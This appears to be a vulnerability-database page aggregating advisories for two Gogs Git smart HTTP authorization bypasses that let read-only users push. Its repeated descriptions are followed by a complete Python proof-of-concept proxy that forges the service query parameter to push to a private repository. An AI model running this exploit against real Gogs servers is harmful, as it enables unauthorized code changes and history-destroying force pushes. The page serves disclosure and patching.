In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.
Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.
In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.
Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.
In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.
Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.
### Summary
Git smart HTTP authorizes `POST …/git-receive-pack` using the client-supplied service query string (so `?service=git-upload-pack` is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.
### Details
Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: `upload-pack` for fetch (read) and `receive-pack` for push (write).
In the affected implementation, the code derives the access mode from the `service` query parameter (for example, `service=git-upload-pack`) instead of the actual RPC path being executed. As a result, a request sent to the `receive-pack` endpoint can be incorrectly treated as a read operation if the query parameter claims it is an `upload-pack`. This behavior enables a request to POST to the write endpoint (`/repo.git/git-receive-pack`) while including a query string that indicates a read service.
Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.
One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a `AuthUser` property becoming `nil` in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.
The two situations in which this is vulnerable are:
* Attacker = collaborator with only Read rights & victim = owner of the repository
* Instance using `REQUIRE_SIGNIN_VIEW = true`. Attacker = any signed in user & victim = any user with a public repository
### PoC
1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: `victim` & `attacker`
2. As the victim, create a new private repository and add the attacker as a Read collaborator:
<img width="1029" height="387" alt="image" src="https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa" />
3. As the attacker, execute the following Python script (editing global vars as required):
```py
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit
import requests
REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"
class ProxyHandler(BaseHTTPRequestHandler):
upstream_scheme: str
upstream_netloc: str
log_rewrite: bool
def log_message(self, *_args) -> None:
return
def do_GET(self) -> None:
self._relay("GET")
def do_POST(self) -> None:
self._relay("POST")
def _relay(self, method: str) -> None:
raw = self.path
if raw.startswith("http://") or raw.startswith("https://"):
u = urlsplit(raw)
scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
else:
u = urlsplit(raw)
scheme, netloc, path, query = (
self.upstream_scheme,
self.upstream_netloc,
u.path,
u.query,
)
q = query or ""
if path.endswith("/git-receive-pack") and "service=" not in q:
query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
if self.log_rewrite:
sys.stderr.write(
f"[poc] rewrite receive-pack -> {path}?{query}\n")
url = urlunsplit((scheme, netloc, path, query, ""))
length = self.headers.get("Content-Length")
body = self.rfile.read(int(length)) if length else None
skip = {
"host",
"connection",
"proxy-connection",
"content-length",
"transfer-encoding",
}
out_headers = {}
for k, v in self.headers.items():
if k.lower() in skip:
continue
out_headers[k] = v
out_headers["Host"] = netloc
try:
with requests.request(
method,
url,
data=body,
headers=out_headers,
timeout=600,
stream=True,
) as resp:
resp.raw.decode_content = False
data = resp.raw.read()
status = resp.status_code
headers = resp.headers
except requests.RequestException as exc:
self.send_error(502, f"upstream: {exc}")
return
hop_by_hop = {
"transfer-encoding",
"connection",
"content-encoding",
"proxy-authenticate",
"proxy-authorization",
"te",
"trailers",
"upgrade",
}
self.send_response(status)
for k, v in headers.items():
if k.lower() in hop_by_hop:
continue
self.send_header(k, v)
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None:
r = subprocess.run(["git", *args], cwd=cwd, env=env,
capture_output=True, text=True)
if r.returncode != 0:
sys.stderr.write(r.stdout or "")
sys.stderr.write(r.stderr or "")
raise SystemExit(r.returncode)
def main() -> None:
base = urlsplit(REPO_URL)
repo_path = f"{base.path.rstrip('/')}.git"
auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}"
remote = urlunsplit((base.scheme, auth, repo_path, "", ""))
ProxyHandler.upstream_scheme = base.scheme
ProxyHandler.upstream_netloc = base.netloc
ProxyHandler.log_rewrite = True
srv = HTTPServer(("127.0.0.1", 0), ProxyHandler)
port = srv.server_address[1]
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
tmp = tempfile.mkdtemp(prefix="gogs-git-poc-")
try:
_run_git(tmp, "init")
_run_git(tmp, "config", "user.email", "[email protected]")
_run_git(tmp, "config", "user.name", "gogs git http poc")
with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f:
f.write(
"Created by local PoC: Git HTTP path is receive-pack while "
"authorization follows forged service=git-upload-pack.\n"
)
_run_git(tmp, "add", "POC_VULN.txt")
_run_git(tmp, "commit", "-m",
"poc: unauthorized push via service query confusion")
_run_git(tmp, "branch", "-M", "poc/git-http-confusion")
_run_git(tmp, "remote", "add", "origin", remote)
env = os.environ.copy()
proxy_url = f"http://127.0.0.1:{port}"
env["http_proxy"] = proxy_url
env["HTTP_PROXY"] = proxy_url
env["https_proxy"] = proxy_url
env["HTTPS_PROXY"] = proxy_url
push = subprocess.run(
["git", "push", "-u", "origin", "poc/git-http-confusion"],
cwd=tmp,
env=env,
capture_output=True,
text=True,
)
if push.returncode != 0:
sys.stderr.write(push.stdout or "")
sys.stderr.write(push.stderr or "")
sys.exit(push.returncode)
sys.stdout.write(push.stdout or "")
sys.stderr.write(
f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n"
)
finally:
srv.shutdown()
shutil.rmtree(tmp, ignore_errors=True)
if __name__ == "__main__":
main()
```
4. Reload the repo URL and notice the attacker successfully wrote to the read-only repo:
<img width="1038" height="398" alt="image" src="https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965" />
### Impact
If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with `REQUIRE_SIGNIN_VIEW = true` configured, because then all repositories will be writable to any user.
Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.
Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion in gogs.io/gogs.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: gogs.io/gogs before v0.14.3.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 5, 2026, 4:52:36 AM
dateUpdated: Nov 9, 2026, 8:36:57 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-4360: Gogs: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen und DoS
CVE-2026-123012
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 24, 2026, 8:30:41 PM
dateUpdated: Jun 25, 2026, 2:39:12 PM
1 related source bulletins · separate from aliases
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-178
Original publisher date fields
published: 2026-11-05T05:18:36.790
lastModified: 2026-11-12T22:11:01.153
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-284
Original publisher date fields
published: 2026-06-24T21:16:56.960
lastModified: 2026-06-25T16:16:38.927
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.